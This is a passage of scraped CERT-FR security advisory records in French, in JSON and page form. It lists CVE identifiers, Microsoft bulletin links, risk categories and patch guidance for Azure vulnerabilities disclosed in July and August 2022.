"name": "CVE-2022-35821",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35821"
},
{
"name": "CVE-2022-35772",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35772"
},
{
"name": "CVE-2022-35808",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35808"
},
{
"name": "CVE-2022-35815",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35815"
},
{
"name": "CVE-2022-35788",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35788"
},
{
"name": "CVE-2022-35783",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35783"
},
{
"name": "CVE-2022-35807",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35807"
},
{
"name": "CVE-2022-35812",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35812"
},
{
"name": "CVE-2022-35818",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35818"
},
{
"name": "CVE-2022-35790",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35790"
},
{
"name": "CVE-2022-35799",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35799"
},
{
"name": "CVE-2022-35802",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35802"
},
{
"name": "CVE-2022-35789",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35789"
},
{
"name": "CVE-2022-35801",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35801"
},
{
"name": "CVE-2022-35787",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35787"
},
{
"name": "CVE-2022-35819",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35819"
},
{
"name": "CVE-2022-35816",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35816"
},
{
"name": "CVE-2022-35810",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35810"
},
{
"name": "CVE-2022-35785",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35785"
},
{
"name": "CVE-2022-35775",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35775"
},
{
"name": "CVE-2022-35780",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35780"
},
{
"name": "CVE-2022-30175",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-30175"
},
{
"name": "CVE-2022-35776",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35776"
},
{
"name": "CVE-2022-35809",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35809"
},
{
"name": "CVE-2022-35811",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35811"
},
{
"name": "CVE-2022-34687",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-34687"
},
{
"name": "CVE-2022-35814",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35814"
},
{
"name": "CVE-2022-35782",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35782"
},
{
"name": "CVE-2022-34685",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-34685"
},
{
"name": "CVE-2022-35781",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35781"
},
{
"name": "CVE-2022-35800",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35800"
},
{
"name": "CVE-2022-35817",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35817"
},
{
"name": "CVE-2022-34686",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-34686"
},
{
"name": "CVE-2022-35774",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35774"
},
{
"name": "CVE-2022-35813",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35813"
},
{
"name": "CVE-2022-35824",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35824"
},
{
"name": "CVE-2022-35786",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35786"
},
{
"name": "CVE-2022-35791",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35791"
},
{
"name": "CVE-2022-35779",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35779"
},
{
"name": "CVE-2022-35806",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35806"
},
{
"name": "CVE-2022-35784",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35784"
},
{
"name": "CVE-2022-33646",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33646"
},
{
"name": "CVE-2022-30176",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-30176"
},
{
"name": "CVE-2022-35773",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35773"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35800 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35800"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33646 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33646"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-30176 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30176"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35818 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35818"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35807 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35807"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35772 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35772"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35785 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35785"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-30175 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30175"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35775 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35775"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35790 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35790"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35814 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35814"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35779 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35779"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35786 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35786"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35811 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35811"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35819 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35819"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35815 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35815"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35780 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35780"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35774 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35774"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35812 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35812"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-34686 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34686"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35783 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35783"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35817 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35817"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35782 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35782"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-34687 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34687"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-34685 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34685"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35806 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35806"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35789 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35789"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35776 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35776"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35821 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35821"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35787 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35787"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35801 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35801"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35773 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35773"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35810 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35810"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35788 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35788"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35816 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35816"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35802 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35802"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35791 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35791"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35824 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35824"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35808 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35808"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35781 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35781"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35813 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35813"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35809 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35809"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35784 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35784"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35799 du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35799"
}
],
"reference": "CERTFR-2022-AVI-731",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2022-08-10T00:00:00.000000"
}
],
"risks": [
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "D\u00e9ni de service"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eMicrosoft Azure\u003c/span\u003e. Elles permettent \u00e0 un attaquant\nde provoquer un d\u00e9ni de service, une \u00e9l\u00e9vation de privil\u00e8ges, une\natteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es et une ex\u00e9cution de code \u00e0\ndistance.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 09 ao\u00fbt 2022",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2022-AVI-673
Vulnerability from certfr_avis - Published: - Updated:
Une vulnérabilité a été découverte dans Microsoft Azure Arc Jumpstart. Elle permet à un attaquant de provoquer une atteinte à la confidentialité des données.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneReferences
| Title | Publication Time | Tags | |||
|---|---|---|---|---|---|
|
|||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure Arc Jumpstart",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-35798",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35798"
}
],
"links": [],
"reference": "CERTFR-2022-AVI-673",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2022-07-22T00:00:00.000000"
}
],
"risks": [
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
}
],
"summary": "Une vuln\u00e9rabilit\u00e9 a \u00e9t\u00e9 d\u00e9couverte dans Microsoft Azure Arc Jumpstart.\nElle permet \u00e0 un attaquant de provoquer une atteinte \u00e0 la\nconfidentialit\u00e9 des donn\u00e9es.\n",
"title": "Vuln\u00e9rabilit\u00e9 dans Microsoft Azure Arc Jumpstart",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35798 du 21 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35798"
}
]
}
CERTFR-2022-AVI-634
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans Microsoft Azure. Elles permettent à un attaquant de provoquer une atteinte à la confidentialité des données, une exécution de code à distance et une élévation de privilèges.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | Azure | Azure Storage Blobs client library pour Python | ||
| Microsoft | Azure | Azure Site Recovery VMWare to Azure | ||
| Microsoft | Azure | Azure Storage Queues client library pour Python | ||
| Microsoft | Azure | Azure Storage Queues client library pour .NET | ||
| Microsoft | Azure | Azure Storage Blobs client library pour Java | ||
| Microsoft | Azure | Azure Storage Blobs client library pour .NET |
References
| Title | Publication Time | Tags | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure Storage Blobs client library pour Python",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Site Recovery VMWare to Azure",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Storage Queues client library pour Python",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Storage Queues client library pour .NET",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Storage Blobs client library pour Java",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Storage Blobs client library pour .NET",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-33664",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33664"
},
{
"name": "CVE-2022-33653",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33653"
},
{
"name": "CVE-2022-33642",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33642"
},
{
"name": "CVE-2022-33650",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33650"
},
{
"name": "CVE-2022-30187",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-30187"
},
{
"name": "CVE-2022-33654",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33654"
},
{
"name": "CVE-2022-33671",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33671"
},
{
"name": "CVE-2022-33661",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33661"
},
{
"name": "CVE-2022-33678",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33678"
},
{
"name": "CVE-2022-33662",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33662"
},
{
"name": "CVE-2022-33674",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33674"
},
{
"name": "CVE-2022-33657",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33657"
},
{
"name": "CVE-2022-33667",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33667"
},
{
"name": "CVE-2022-30181",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-30181"
},
{
"name": "CVE-2022-33673",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33673"
},
{
"name": "CVE-2022-33677",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33677"
},
{
"name": "CVE-2022-33643",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33643"
},
{
"name": "CVE-2022-33668",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33668"
},
{
"name": "CVE-2022-33658",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33658"
},
{
"name": "CVE-2022-33675",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33675"
},
{
"name": "CVE-2022-33665",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33665"
},
{
"name": "CVE-2022-33659",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33659"
},
{
"name": "CVE-2022-33666",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33666"
},
{
"name": "CVE-2022-33655",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33655"
},
{
"name": "CVE-2022-33656",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33656"
},
{
"name": "CVE-2022-33672",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33672"
},
{
"name": "CVE-2022-33641",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33641"
},
{
"name": "CVE-2022-33669",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33669"
},
{
"name": "CVE-2022-33651",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33651"
},
{
"name": "CVE-2022-33652",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33652"
},
{
"name": "CVE-2022-33660",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33660"
},
{
"name": "CVE-2022-33676",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33676"
},
{
"name": "CVE-2022-33663",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-33663"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33642 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33642"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33676 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33676"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33663 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33663"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33664 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33664"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33673 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33673"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33666 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33666"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33662 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33662"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33655 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33655"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33653 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33653"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33671 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33671"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-30187 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30187"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33665 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33665"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33678 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33678"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33643 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33643"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33652 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33652"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33667 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33667"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33654 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33654"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33672 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33672"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33641 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33641"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33659 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33659"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-30181 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30181"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33661 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33661"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33650 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33650"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33651 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33651"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33658 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33658"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33660 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33660"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33669 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33669"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33668 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33668"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33674 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33674"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33656 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33656"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33657 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33657"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33677 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33677"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-33675 du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-33675"
}
],
"reference": "CERTFR-2022-AVI-634",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2022-07-13T00:00:00.000000"
}
],
"risks": [
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eMicrosoft Azure\u003c/span\u003e. Elles permettent \u00e0 un attaquant\nde provoquer une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es, une\nex\u00e9cution de code \u00e0 distance et une \u00e9l\u00e9vation de privil\u00e8ges.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 12 juillet 2022",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2022-AVI-559
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans les produits Microsoft. Elles permettent à un attaquant de provoquer une élévation de privilèges, une atteinte à la confidentialité des données et une exécution de code à distance.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | N/A | Microsoft SQL Server 2017 pour systèmes x64 (CU 29) | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.0 | ||
| Microsoft | Azure | Azure Automation State Configuration, DSC Extension | ||
